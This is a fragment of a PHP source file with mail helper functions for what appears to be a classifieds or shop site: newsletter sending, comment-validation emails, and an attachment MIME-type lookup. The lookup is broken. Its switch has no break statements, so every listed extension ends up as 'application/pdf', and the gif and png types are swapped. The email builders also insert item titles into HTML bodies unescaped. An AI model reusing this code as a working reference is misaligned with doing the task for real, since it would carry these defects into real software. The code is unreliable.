	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send the newsletter 
///////////////////

function send_newsletter($email, $sujet, $message_mail)
{
	global $param_gen;
	
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	$title_mail = $sujet;

	$title_mail = mb_encode_mimeheader($title_mail,"UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $email, $title_mail, $message_mail, true);
}

///////////////////
//Send mail valid comment
///////////////////

function send_valid_comment($array, $type)
{
	global $param_gen;
	
	//Language 
	
	require __DIR__.'/language/'. mail_language($array['lang']) .'.php';
	
	$name_mail = $param_gen['name'];
	$email_mail = $param_gen['mail_rep'];
	
	if($type == 'ad')
	{
		$url_ad = get_ad_shop_link($array, $array['lang'], 'ad', $language);
		
		$title_mail = $language['page_comments_mail_ad_title'] .' "'. $array['title'] .'"';
		$message_mail = $language['page_comments_mail_ad_msg'] .' "'. $array['title'] .'" :<br />' .  $url_ad .'<br /><br />'. $param_gen['mail_signature'];
	}
	else
	{
		$url_shop = get_ad_shop_link($array, $array['lang'], 'shop', $language);
			
		$title_mail = $language['page_comments_mail_shop_title'] .' "'. $array['title'] .'"';
		$message_mail = $language['page_comments_mail_shop_msg'] .' "'. $array['title'] .'" :<br />' . $url_shop .'<br /><br />'. $param_gen['mail_signature'];
	}
	
	$title_mail = mb_encode_mimeheader($title_mail,"UTF-8");
	
	return spmail(array('name' => $name_mail, 'email' => $email_mail, 'replyTo' => $email_mail), $array['email'], $title_mail, $message_mail, true);
}

///////////////////
//Define attachment mine-type
///////////////////

function definedMineTypeAttachment($file) {
	$mine = 'application/octet-stream';
	$extension =  pathinfo($file, PATHINFO_EXTENSION);
	$extension = $extension && strpos($extension, '?') > -1 ? '.'.substr($extension, 0, strpos($extension, '?')) : '.'.$extension;
	switch($extension) {
		case '.txt':
			$mine = 'text/plain';
		case '.csv':
			$mine = 'application/csv';
		case '.gif':
			$mine = 'image/png';
		case '.svg':
			$mine = 'image/svg+xml';
		case '.png':
			$mine = 'image/gif';
		case '.jpeg':
		case '.jpg':
			$mine = 'image/jpeg';
		case '.mpeg':
			$mine = 'video/mpeg';
		case '.pdf':
			$mine = 'application/pdf';
	}
	return $mine;
}